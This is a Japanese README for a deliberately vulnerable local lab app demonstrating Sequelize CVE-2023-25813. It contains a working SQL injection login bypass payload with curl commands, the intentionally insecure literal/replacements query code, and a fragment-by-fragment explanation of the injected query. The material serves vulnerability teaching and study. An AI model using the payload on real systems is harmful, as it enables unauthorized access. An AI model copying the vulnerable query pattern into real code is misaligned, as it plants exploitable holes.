
Sequelize Sql Injection 脆弱性実装
Sequelize CVE-2023-25813 の動作をローカルで確認するための Express + MySQL 実習アプリです。
このプロジェクトは意図的に脆弱な Sequelize バージョンと脆弱なログインクエリパターンを維持しています。インターネットに公開せず、ローカルの Docker 実習環境でのみ実行してください。
localhost:3307localhost:3000主な機能:
.env ファイルを使用します。例は .env.example を参照してください。
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
Docker 実行時、アプリコンテナはローカル MySQL ではなく Compose 内部の db サービスを使用します。
アプリコンテナ基準 DB_HOST=db
ホスト PC 基準 DB 接続ポート=3307
Docker Desktop を起動した後、PowerShell で実行します。
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
ブラウザでアクセスします。
http://localhost:3000
状態確認:
docker compose ps
docker compose logs app --tail 50
停止:
docker compose down
DB データまで初期化:
docker compose down -v
Docker 内の MySQL に直接接続する場合:
docker compose exec db mysql -uroot -p cve_test_db
パスワードは .env の DB_PASSWORD の値です。
Workbench などの GUI ツールでは以下の値で接続します。
Host: 127.0.0.1
Port: 3307
User: root
Password: .envのDB_PASSWORD
Database: cve_test_db
DB が作成されていると、アプリログに次のようなメッセージが表示されます。
cve_test_db データベース準備完了
admin 管理者アカウント準備完了
データベース接続成功
3000 番ポートで待機中
アプリ起動時に .env の値で admin アカウントを自動作成します。
デフォルト値:
ID: admin
パスワード: admin
ログインすると、メインページ上部に現在の接続アカウントが表示されます。
現在の接続アカウント: admin
ブラウザで /login に移動後:
ID: admin
パスワード: admin
成功すると / に移動し、メインページに現在の接続アカウントが表示されます。
curl で確認する場合:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
成功基準:
HTTP/1.1 302 Found
Location: /
ブラウザで /login に移動後、以下の値を入力します。
ID: /**/OR/**/1=1)/**/#
パスワード: :username
成功すると /login?error=invalid ではなく / に移動します。メインページの現在の接続アカウントもログイン済みユーザーとして表示されます。
curl で確認:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
成功基準:
HTTP/1.1 302 Found
Location: /
脆弱なコードはログインルートにあります。
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
正常ログインの場合、SQL はおおよそ次のような形になります。
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
問題は literal('username = :username')、{ password }、replacements を同じクエリで混在させている部分です。Sequelize 6.19.0 では replacements がクエリ全体に適用されるため、ユーザーが入力した password 値内の :username も置換される可能性があります。
実習ペイロードは次のように入力します。
username = /**/OR/**/1=1)/**/#
password = :username
このとき実際のクエリはログでおおよそ次のような形で表示されます。
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
各断片の意味:
password=:username: パスワード欄でも username の置換が再び発生するようにする核心です。/**/: MySQL でコメントとして扱われるブロックです。空白のように動作するため、OR の前後の空白が削られても SQL トークンが分離されます。OR 1=1: 常に真となる条件を追加します。): Sequelize が生成した AND(...) 条件グループを閉じます。#: MySQL の一行コメントです。後ろに続く残りの引用符と LIMIT 1 周辺の断片をコメントアウトし、構文エラーを回避します。結果として条件が常に真になり、最初のユーザー行が取得され、アプリはログイン成功として処理します。
次のように空白に依存するペイロードは、ブラウザ入力の過程で前後の空白が消えると失敗する可能性があります。
OR 1=1) --
MySQL の -- コメントは後ろに空白が必要です。空白が抜けるとコメントとして認識されず、構文エラーになります。
このプロジェクトでは以下のペイロードを推奨します。
ID: /**/OR/**/1=1)/**/#
パスワード: :username
Docker 実行時、DB はローカル MySQL サーバーではなく Docker の db コンテナに作成されます。ホスト PC から見るには localhost:3307 に接続してください。
正常です。このアプリは CVE 実習のために脆弱な Sequelize バージョンを維持しています。
npm audit fix を実行すると、実習対象の脆弱性が消える可能性があります。